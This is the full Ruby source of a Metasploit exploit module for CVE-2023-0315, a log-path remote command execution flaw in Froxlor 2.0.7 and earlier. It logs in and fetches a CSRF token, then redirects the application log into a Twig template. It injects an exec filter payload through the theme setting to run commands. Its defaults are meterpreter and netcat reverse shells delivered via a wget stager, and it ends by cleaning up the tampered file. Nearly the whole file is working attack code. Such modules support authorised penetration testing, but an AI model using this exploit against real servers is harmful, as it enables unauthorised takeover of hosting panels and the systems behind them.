265 lines
11 KiB
Ruby
265 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Froxlor Log Path RCE',
|
|
'Description' => %q{
|
|
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
|
|
to any directory on the OS level which the user www-data can write without restrictions from the backend which
|
|
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
|
|
remote command execution under the user www-data.
|
|
},
|
|
'Author' => [
|
|
'Askar', # discovery
|
|
'jheysel-r7' # module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://shells.systems/author/askar/'],
|
|
[ 'CVE', '2023-0315']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'CmdStagerFlavor' => ['wget'],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_memory,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
},
|
|
'DisclosureDate' => '2023-01-29'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
|
|
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
|
|
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'loginname' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'send' => 'send',
|
|
'dologin' => ''
|
|
}
|
|
)
|
|
|
|
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
|
|
'keep_cookies' => true
|
|
)
|
|
print_good('Successful login')
|
|
true
|
|
else
|
|
false
|
|
end
|
|
end
|
|
|
|
def check
|
|
begin
|
|
@authenticated = login
|
|
rescue InvalidRequest, InvalidResponse => e
|
|
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
|
|
end
|
|
|
|
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, version_url),
|
|
'keep_cookies' => true
|
|
)
|
|
|
|
if res.nil? || res.code != 200
|
|
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
|
|
else
|
|
version = res.get_html_document.at('body/span/text()')
|
|
if version
|
|
if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
|
|
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
|
|
else
|
|
Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
|
|
end
|
|
else
|
|
Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_csrf_token(url)
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, url),
|
|
'keep_cookies' => true
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless !res.nil? || res.code == 200
|
|
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
|
|
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
|
|
print_good("CSRF token is : #{csrf_token}")
|
|
csrf_token
|
|
end
|
|
|
|
def change_log_path(new_logfile)
|
|
mime = Rex::MIME::Message.new
|
|
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
|
|
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
|
|
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
|
|
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
|
|
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
|
|
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
|
|
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
|
|
mime.add_part('overview', nil, nil, 'form-data; name="page"')
|
|
mime.add_part('', nil, nil, 'form-data; name="action"')
|
|
mime.add_part('send', nil, nil, 'form-data; name="send"')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
|
|
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
|
|
'keep_cookies' => true,
|
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
|
'data' => mime.to_s
|
|
)
|
|
|
|
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'theme' => "{{['#{cmd}']|filter('exec')}}",
|
|
'csrf_token' => @csrf_token,
|
|
'page' => 'change_theme',
|
|
'send' => 'send',
|
|
'dosave' => ''
|
|
}
|
|
)
|
|
|
|
if res && res.code == 302 && res.headers['Location']
|
|
if res.headers['Location'] == 'admin_index.php'
|
|
print_good('Injected payload successfully')
|
|
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
|
|
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
|
|
end
|
|
else
|
|
print_error('did not inject payload successfully')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
|
|
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')
|
|
|
|
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
|
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
|
case target['Type']
|
|
when :unix_memory
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
else
|
|
print_error('Please enter valid target')
|
|
end
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
super
|
|
# Original footer.html.twig file
|
|
footer_html_twig = <<~EOF
|
|
<footer class="text-center mb-3">
|
|
<span>
|
|
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
|
|
{% if install_mode is not defined %}
|
|
{% if (get_setting('admin.show_version_login') == '1'
|
|
and area == 'login') or (area != 'login'
|
|
and get_setting('admin.show_version_footer') == '1') %}
|
|
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
|
|
{% endif %}
|
|
{% endif %}
|
|
© 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
|
|
{% if install_mode is not defined %}
|
|
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
|
|
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
|
|
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
|
|
{% endif %}
|
|
</span>
|
|
|
|
{% if lng('translator') %}
|
|
<br/>
|
|
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
|
|
{% endif %}
|
|
</footer>
|
|
EOF
|
|
if session.type == 'meterpreter'
|
|
print_status('Deleting tampered footer.html.twig file')
|
|
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
|
|
session.fs.file.rm(filename)
|
|
fd = session.fs.file.new(filename, 'wb')
|
|
print_status('Rewriting clean footer.html.twig file')
|
|
fd.write(footer_html_twig)
|
|
fd.close
|
|
else
|
|
print_status('Cleaning tampered footer.html.twig file')
|
|
# Remove all log lines added to footer.html.twig by the exploit
|
|
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
|
|
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
|
|
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
|
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
|
|
end
|
|
end
|
|
end
|